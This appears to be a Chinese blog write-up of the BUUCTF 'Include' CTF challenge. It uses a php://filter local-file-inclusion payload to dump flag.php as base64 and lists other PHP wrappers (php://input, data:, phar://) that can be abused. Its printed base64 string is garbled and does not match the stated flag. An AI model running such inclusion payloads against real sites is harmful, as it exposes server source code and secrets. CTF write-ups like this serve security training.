




# BUUCTF[ACTF2020 新生赛]Include1

原创

BLS の 菜鸡  于 2021-05-31 20:33:11 发布  59  收藏

分类专栏: [BUUCTF的刷题之旅](#) 文章标签: [web](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: [https://blog.csdn.net/m0\\_56598320/article/details/117428133](https://blog.csdn.net/m0_56598320/article/details/117428133)

版权



[BUUCTF的刷题之旅](#) 专栏收录该内容

1 篇文章 0 订阅

订阅专栏

首先进入题目环境<http://8ca3f2e8-507e-47e8-9c99-406fb836b287.node3.buuoj.cn>

## tips

点击tips, 出现如下的一句话:

Can you find out the flag?

然后就没有其他东西了, 但我们注意到url中存在flag.php

加之题目include让我们知道可能有**文件包含漏洞**

所以我们可以尝试使用**伪协议**来读取文件

```
?file=php://filter/read=convert.base64-encode/resource=flag.php
```

### php伪协议:

php://filter、file://可以访问本地的文件

zip://、phar://可以访问本地压缩文件

php://input post 写入php代码

data:text/plain,php代码

之后可以顺利得到一串base64编码

```
PD9waHAKZWNoYAiQ2FuIHlvdSBmaW5kIG91dCB0aGUgZmxhZz8iOwovL2ZsYWd7MjhiN2ExODEtNGY5OC00ODBlLWEeXZjctMzU2MjM2NGE
```

进行**base64**解码之后得到flag: flag{28b7a181-4f98-480c-a1f7-3562364a7863}

Encryption ▾ Encoding ▾ SQL ▾ XSS ▾ LFI ▾ XXE ▾ Other ▾

- Load URL
- Split URL
- Execute

```
<?php  
echo "Can you find out the flag?";  
//flag{28b7a181-4f98-480c-a1f7-3562364a7863}
```

Post data  Referer  User Agent  Cookies  [Clear All](#)

[https://blog.csdn.net/m0\\_56598320](https://blog.csdn.net/m0_56598320)



[创作打卡挑战赛](#) >  
[赢取流量/现金/CSDN周边激励大奖](#)